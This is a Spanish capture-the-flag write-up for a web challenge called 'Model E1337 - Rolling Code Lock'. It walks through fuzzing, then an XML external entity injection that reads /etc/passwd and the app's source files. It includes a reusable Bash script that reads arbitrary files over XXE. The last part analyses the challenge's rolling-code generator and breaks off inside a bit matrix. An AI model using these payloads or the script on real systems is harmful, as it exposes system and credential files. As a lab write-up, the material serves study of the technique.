Model E1337 - Rolling Code Lock
53 minutos de lectura
Tenemos una simple página web que solicita un código para desbloquear:
Podemos poner cualquier número y, después de unos segundos, veremos que es incorrecto:
No hay nada en el código fuente de la página. En este punto, podemos aplicar fuzzing para enumerar más rutas existentes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://35.190.155.168/c33a5d03b6/FUZZ
admin [Status: 200, Size: 287, Words: 25, Lines: 11]
unlock [Status: 405, Size: 178, Words: 20, Lines: 5]
[Status: 200, Size: 302, Words: 16, Lines: 13]
Existe una ruta /admin:
El código fuente de esta página contiene información útil:
Si vamos a /get-config, veremos un documento XML
$ curl http://35.190.155.168/c33a5d03b6/get-config
<?xml version="1.0" encoding="UTF-8"?><config><location>Front door</location></config>
Como es XML, podría existir una vulnerabilidad de Entidad Externa XML (XXE). Si existe /get-config, es probable que exista /set-config:
$ curl http://35.190.155.168/c33a5d03b6/set-config
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
Se obtiene un error 400 Bad Request, por lo que seguramente necesitamos añadir parámetros en la URL (por GET) o un cuerpo de petición (usando POST):
$ curl 'http://35.190.155.168/c33a5d03b6/set-config?location=asdf'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
$ curl http://35.190.155.168/c33a5d03b6/set-config -d location=asdf
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>
No parece que sea una petición POST. Como el parámetro location no funciona, podemos aplicar fuzzing sobre el nombre del parámetro con ffuf y filtrar por el código de estado 400:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u 'http://35.190.155.168/c33a5d03b6/set-config?FUZZ=asdf' -mc all -fc 400
data [Status: 500, Size: 291, Words: 38, Lines: 5]
Si el parámetro se llama data obtenemos un error 500 Internal Server Error:
$ curl 'http://35.190.155.168/c33a5d03b6/set-config?data=asdf'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
Vamos a probar a poner el documento XML de /get-config en el parámetro data, pero cambiando el valor de la etiqueta location por asdf:
$ curl http://35.190.155.168/c33a5d03b6/set-config -G --data-urlencode 'data=<?xml version="1.0" encoding="UTF-8"?><config><location>asdf</location></config>'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="admin">admin</a>. If not click the link.
$ curl http://35.190.155.168/c33a5d03b6/admin
<!doctype html>
<html>
<head>
<title>Model E1337 — Home</title>
</head>
<body>
<h1>Admin Panel</h1>
<p>Lock location: <input type="text" name="location" value="asdf" disabled></p>
<!-- We should be using get-config for this on the client side. -->
</body>
</html>
$ curl http://35.190.155.168/c33a5d03b6/admin -s | grep asdf
<p>Lock location: <input type="text" name="location" value="asdf" disabled></p>
El valor que aparece en /admin ha cambiado. Ahora podemos introducir otro documento XML para leer archivos del sistema utilizando una Entidad Externa XML como esta:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<config>
<location>&xxe;</location>
</config>
$ curl http://35.190.155.168/c33a5d03b6/set-config -G --data-urlencode 'data=<?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><config><location>&xxe;</location></config>'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="admin">admin</a>. If not click the link.
$ curl http://35.190.155.168/c33a5d03b6/admin
<!doctype html>
<html>
<head>
<title>Model E1337 — Home</title>
</head>
<body>
<h1>Admin Panel</h1>
<p>Lock location: <input type="text" name="location" value="root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
" disabled></p>
<!-- We should be using get-config for this on the client side. -->
</body>
</html>
Y obtenemos el archivo /etc/passwd del servidor. En este punto, podemos crear un simple script en Bash para obtener el contenido de un archivo dada la ruta absoluta (si existe), para automatizar el proceso:
#!/usr/bin/env bash
url=$1
file=$2
xml="<?xml version=\"1.0\"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file://$file\"> ]>
<config>
<location>
BEGINTAG
&xxe; ENDTAG
</location>
</config>"
curl $url/set-config -G --data-urlencode "data=$xml" &>/dev/null
res=$(curl $url/admin -s)
begin=$(( $(echo "$res" | grep -n BEGINTAG | awk -F : '{ print $1 }') + 1 ))
end=$(( $(echo "$res" | grep -n ENDTAG | awk -F : '{ print $1 }') - 1 ))
echo -n "$res" | sed -n "${begin},${end}p"
Ahora con este script en Bash podemos leer archivos del servidor especificando una ruta absoluta:
$ bash xxe.sh http://35.190.155.168/c33a5d03b6 /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.20 c33a5d03b6b4
Aunque sabemos que el servidor tiene nginx, no podemos mostrar archivos de configuración como /etc/nginx/nginx.conf o /etc/nginx/sites-enabled/default.
Sin embargo, podemos deducir que el servidor está ejecutando Flask (un framework web para Python), ya que los mensajes de respuesta HTTP están en letras mayúsculas:
$ curl http://35.190.155.168/c33a5d03b6/doesnotexist -I
HTTP/1.1 404 NOT FOUND
Server: nginx/1.14.0 (Ubuntu)
Date:
Content-Type: text/html
Content-Length: 233
Connection: keep-alive
Cache-Control: public, max-age=0
Pragma: no-cache
Expires: 0
Y por tanto, podemos deducir que el archivo principal del código fuente es app.py, main.py, index.py o server.py. Y para directorios, podemos probar con /app (bastante común en contenedores Docker). Finalmente, vemos que /app/main.py funciona. Este es el archivo:
$ bash xxe.sh http://35.190.155.168/c33a5d03b6 /app/main.py
import json, os, time, xml.sax
from flask import Flask, redirect, request
from jinja2 import Template
from cStringIO import StringIO
from rng import *
# ^FLAG^xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx$FLAG$
flags = json.loads(os.getenv('FLAGS'))
os.unsetenv('FLAGS')
app = Flask(__name__)
templateCache = {}
def render(tpl, **kwargs):
if tpl not in templateCache:
templateCache[tpl] = Template(file('templates/%s.html' % tpl).read())
return templateCache[tpl].render(**kwargs)
@app.after_request
def add_header(r):
r.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
r.headers["Pragma"] = "no-cache"
r.headers["Expires"] = "0"
r.headers['Cache-Control'] = 'public, max-age=0'
return r
@app.route('/')
def index():
return render('home')
@app.route('/unlock', methods=['POST'])
def unlock():
code = int(request.form['code'])
cur = next(26)
time.sleep(5)
if code == cur:
return 'Unlocked successfully. Flag: ' + flags[1]
else:
return 'Code incorrect. Expected %08i' % cur
@app.route('/admin')
def admin():
return render('admin', location=location)
location = 'Front door'
@app.route('/get-config')
def getConfig():
return '<?xml version="1.0" encoding="UTF-8"?><config><location>%s</location></config>' % location
class Handler(xml.sax.ContentHandler):
def __init__(self):
self.location = None
def startElement(self, name, attrs):
if name == 'location':
self.location = ''
def endElement(self, name):
if name == 'location':
global location
location = self.location
self.location = None
def characters(self, content):
if self.location is not None:
self.location += content
@app.route('/set-config')
def setConfig():
data = request.args['data']
parser = xml.sax.make_parser()
parser.setContentHandler(Handler())
parser.parse(StringIO(data))
return redirect('admin')
app.run(host='0.0.0.0', port=80)
Este archivo contiene un comentario con la primera flag.
Ahora podemos analizar la función que gestiona el código numérico de la página principal:
@app.route('/unlock', methods=['POST'])
def unlock():
code = int(request.form['code'])
cur = next(26)
time.sleep(5)
if code == cur:
return 'Unlocked successfully. Flag: ' + flags[1]
else:
return 'Code incorrect. Expected %08i' % cur
La función llamada next no es la que viene con Python. De hecho, se está tomando de rng:
from rng import *
Por tanto, tiene que existir un archivo llamado rng.py, que es este:
$ bash xxe.sh http://35.190.155.168/c33a5d03b6 /app/rng.py
import random
def setup(seed):
global state
state = 0
for i in range(16):
cur = seed & 3
seed >>= 2
state = (state << 4) | ((state & 3) ^ cur)
state |= cur << 2
def next(bits):
global state
ret = 0
for _ in range(bits):
ret <<= 1
ret |= state & 1
state = (state << 1) ^ (state >> 61)
state &= 0xFFFFFFFFFFFFFFFF
state ^= 0xFFFFFFFFFFFFFFFF
for j in range(0, 64, 4):
cur = (state >> j) & 0xF
cur = (cur >> 3) | ((cur >> 2) & 2) | ((cur << 3) & 8) | ((cur << 2) & 4)
state ^= cur << j
return ret
setup((random.randrange(0x10000) << 16) | random.randrange(0x10000))
Este archivo se utiliza para generar códigos evolutivos (rolling codes). Debemos obtener el siguiente código dados uno o más códigos anteriores, o por lo menos extraer la semilla original para poder generar más códigos evolutivos.
El script utiliza tres variables principalmente:
seed: Es la semilla inicial. Es completamente aleatoria y se calcula así:
seed = (random.randrange(0x10000) << 16) | random.randrange(0x10000)
ret: Es el siguiente código evolutivo. Se calcula utilizando una variablestate. Básicamente, se toma el último bit destatey se pone al final deretdurante 26 iteraciones. Sin embargo,statecambia en cada iteración:
ret = 0
for _ in range(26):
ret <<= 1
ret |= state & 1
# Changes in state
state: Se genera inicialmente mediante la semillaseedcomo:
state = 0
for i in range(16):
cur = seed & 3
seed >>= 2
state = (state << 4) | ((state & 3) ^ cur)
state |= cur << 2
Pero esto no es útil porque seed es aleatoria. Vemos que state cambia en cada llamada a next, y de hecho, cambia en cada una de las 26 iteraciones de la llamada a next:
for _ in range(26):
# Changes in ret
state = (state << 1) ^ (state >> 61)
state &= 0xFFFFFFFFFFFFFFFF
state ^= 0xFFFFFFFFFFFFFFFF
for j in range(0, 64, 4):
cur = (state >> j) & 0xF
cur = (cur >> 3) | ((cur >> 2) & 2) | ((cur << 3) & 8) | ((cur << 2) & 4)
state ^= cur << j
Primero, tenemos esta operación (utilizando un número de 64 bits como una lista de bits):
$$ \mathrm{state} = [s_{63}, s_{62}, s_{61}, s_{60}, \dots, s_2, s_1, s_0] $$
$$ \mathrm{state} = [s_{62}, s_{61}, s_{60}, \dots, s_2, s_1, s_0, 0] \,\,\hat{}\,\, [0, 0, 0, \dots, 0, s_{63}, s_{62}, s_{61}] $$
$$ \mathrm{state} = [s_{62}, s_{61}, s_{60}, \dots, s_2, (s_1 \,\,\hat{}\,\, s_{63}), (s_0 \,\,\hat{}\,\, s_{62}), s_{61}] $$
$$ \mathrm{state} = [\overline{s_{62}}, \overline{s_{61}}, \overline{s_{60}}, \dots, \overline{s_2}, \overline{(s_1 \,\,\hat{}\,\, s_{63})}, \overline{(s_0 \,\,\hat{}\,\, s_{62})}, \overline{s_{61}}] $$
Y ahora tenemos operaciones por cada 4 bits de state (copiados en la variable cur). Por ejemplo:
$$ \mathrm{cur} = [s_3, s_2, s_1, s_0] $$
$$ \mathrm{cur} = [0, 0, 0, s_3] \quad|\quad [0, 0, s_3, 0] \quad|\quad [s_0, 0, 0, 0] \quad|\quad [0, s_0, 0, 0] $$
$$ \mathrm{cur} = [s_0, s_0, s_3, s_3] $$
$$ \mathrm{state}[3..0] = [s_3, s_2, s_1, s_0] \,\,\hat{}\,\, [s_0, s_0, s_3, s_3] $$
Por lo que state cambia así:
$$ \mathrm{state}[3..0] = [(s_3 \,\,\hat{}\,\, s_0), (s_2 \,\,\hat{}\,\, s_0), (s_1 \,\,\hat{}\,\, s_3), (s_0 \,\,\hat{}\,\, s_3)] $$
Y por tanto, la variable state completa cambia de esta manera (nótese que en cada cuarteto, el primer bit y el último son iguales):
$$ \mathrm{state}[63..60] = [(s_{63} \,\,\hat{}\,\, s_{60}), (s_{62} \,\,\hat{}\,\, s_{60}), (s_{61} \,\,\hat{}\,\, s_{63}), (s_{60} \,\,\hat{}\,\, s_{63})] $$
$$ \mathrm{state}[59..56] = [(s_{59} \,\,\hat{}\,\, s_{56}), (s_{58} \,\,\hat{}\,\, s_{56}), (s_{59} \,\,\hat{}\,\, s_{59}), (s_{56} \,\,\hat{}\,\, s_{59})] $$
$$ \dots $$
$$ \mathrm{state}[3..0] = [(s_3 \,\,\hat{}\,\, s_0), (s_2 \,\,\hat{}\,\, s_0), (s_1 \,\,\hat{}\,\, s_3), (s_0 \,\,\hat{}\,\, s_3)] $$
Finalmente, si unimos las dos etapas del cambio de state, tenemos lo siguiente:
$$ \mathrm{state} = [s_{63}, s_{62}, s_{61}, s_{60}, \dots, s_2, s_1, s_0] $$
Y el siguiente state será:
$$ \mathrm{state} = [(\overline{s_{62}} \,\,\hat{}\,\, \overline{s_{59}}), (\overline{s_{61}} \,\,\hat{}\,\, \overline{s_{59}}), (\overline{s_{60}} \,\,\hat{}\,\, \overline{s_{62}}), (\overline{s_{59}} \,\,\hat{}\,\, \overline{s_{62}}), $$
$$ (\overline{s_{58}} \,\,\hat{}\,\, \overline{s_{55}}), (\overline{s_{57}} \,\,\hat{}\,\, \overline{s_{55}}), (\overline{s_{56}} \,\,\hat{}\,\, \overline{s_{58}}), (\overline{s_{55}} \,\,\hat{}\,\, \overline{s_{58}}), $$
$$ \dots $$
$$ (\overline{s_6} \,\,\hat{}\,\, \overline{s_3}), (\overline{s_5} \,\,\hat{}\,\, \overline{s_3}), (\overline{s_4} \,\,\hat{}\,\, \overline{s_6}), (\overline{s_3} \,\,\hat{}\,\, \overline{s_6}), $$
$$ (\overline{s_2} \,\,\hat{}\,\, \overline{s_{61}}), (\overline{(s_1 \,\,\hat{}\,\, s_{63})} \,\,\hat{}\,\, \overline{s_{61}}), (\overline{(s_0 \,\,\hat{}\,\, s_{62})} \,\,\hat{}\,\, \overline{s_2}), (\overline{s_{61}} \,\,\hat{}\,\, \overline{s_2})] $$
Nótese que $\overline{a} \,\,\hat{}\,\, \overline{b} = a \,\,\hat{}\,\, b$, por lo que el siguiente state se puede simplificar a:
$$ \mathrm{state} = [(s_{59} \,\,\hat{}\,\, s_{62}), (s_{59} \,\,\hat{}\,\, s_{61}), (s_{60} \,\,\hat{}\,\, s_{62}), (s_{59} \,\,\hat{}\,\, s_{62}), $$
$$ (s_{55} \,\,\hat{}\,\, s_{58}), (s_{55} \,\,\hat{}\,\, s_{57}), (s_{56} \,\,\hat{}\,\, s_{58}), (s_{55} \,\,\hat{}\,\, s_{58}), $$
$$ \dots $$
$$ (s_3 \,\,\hat{}\,\, s_6), (s_3 \,\,\hat{}\,\, s_5), (s_4 \,\,\hat{}\,\, s_6), (s_3 \,\,\hat{}\,\, s_6), $$
$$ (s_2 \,\,\hat{}\,\, s_{61}), (s_1 \,\,\hat{}\,\, s_{61} \,\,\hat{}\,\, s_{63}), (s_0 \,\,\hat{}\,\, s_2 \,\,\hat{}\,\, s_{62}), (s_2 \,\,\hat{}\,\, s_{61})] $$
Recordemos que este nuevo state es para la siguiente iteración del algoritmo de código evolutivo. Podríamos continuar así hasta la última iteración, pero sería muy largo. En cambio, podemos crear una matriz de 64x64 tal que, dado un state, genere el siguiente (también es muy grande, pero será más fácil de utilizar):
$$ \begin{pmatrix} 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \color{red}{1} 0 0 \color{red}{1} 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 \newline 0 0 